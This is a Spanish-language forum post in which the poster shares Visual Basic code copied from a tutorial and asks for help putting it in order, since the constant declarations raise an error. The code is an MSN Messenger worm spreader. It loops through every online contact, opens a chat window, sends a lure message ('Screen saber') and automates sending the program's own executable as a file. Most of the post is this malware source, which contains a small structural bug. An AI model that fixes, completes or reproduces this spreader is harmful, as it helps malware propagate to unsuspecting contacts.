hola a todos, bueno no se si esto va en esto va aquí pero bueno no se mucho de visual basic y no me interesa aprenderlo por los momentos estoy concentrado en otros lenguajes. tengo un codigo q saque de un tuto de hendrix q esta formado de la siguiente manera: On Error GoTo NotCompatible Set w = CreateObject("Messenger.UIAutomation") For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto If ConTacto.Status = 2 Then 'Si el contacto esta OnLine... Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo Next End If Exit Sub NotCompatible: MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error" end
Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim l As Long, spam As String l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo Call SendText(l, "***** Screen saber") 'Mensaje a enviar EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar End Sub Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes: GetForegroundWindow SetForegroundWindow PostMessage
Public Sub SendText(pIMWindow As Long, sText As String) Dim hDirectUI As Long, hPrevWnd As Long Dim i As Integer hDirectUI = pIMWindow Do Call SetForegroundWindow(hDirectUI) Loop Until GetForegroundWindow = hDirectUI For i = 1 To Len(sText) Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&) Next i Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&) End Sub
Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean Dim X As Long Dim Edit As Long Dim ParentHWnd As Long Dim hWndText As String Dim t As Single Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0) DoEvents X = GetWindow(GetDesktopWindow(), GW_CHILD) hWndText = fWindowText(X) t = Timer Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0) X = GetWindow(X, GW_HWNDNEXT) hWndText = fWindowText(X) If Format(Timer - t, "0.00") > 5 Then GoTo FIN Loop Edit = FindWindowEx(X, 0, "Edit", vbNullString) If Edit = 0 Then Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString) Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString) End If If Edit = 0 Then Exit Function Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath) Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&) EnviarFile = True FIN: End Function
Luego me salen las declaraciones de apis y constantes pero public const me sale un error:
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetDesktopWindow Lib "user32" () As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Const GW_HWNDFIRST = 0& Private Const GW_HWNDNEXT = 2& Private Const GW_CHILD = 5& Public Const GWL_HWNDPARENT = (-8) Public Const WM_SETTEXT = &HC Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_COMMAND = &H111 Public Const VK_RETURN = &HD
si alguien me puede decir como va ordenado ese codigo se los agredeceria mucho
|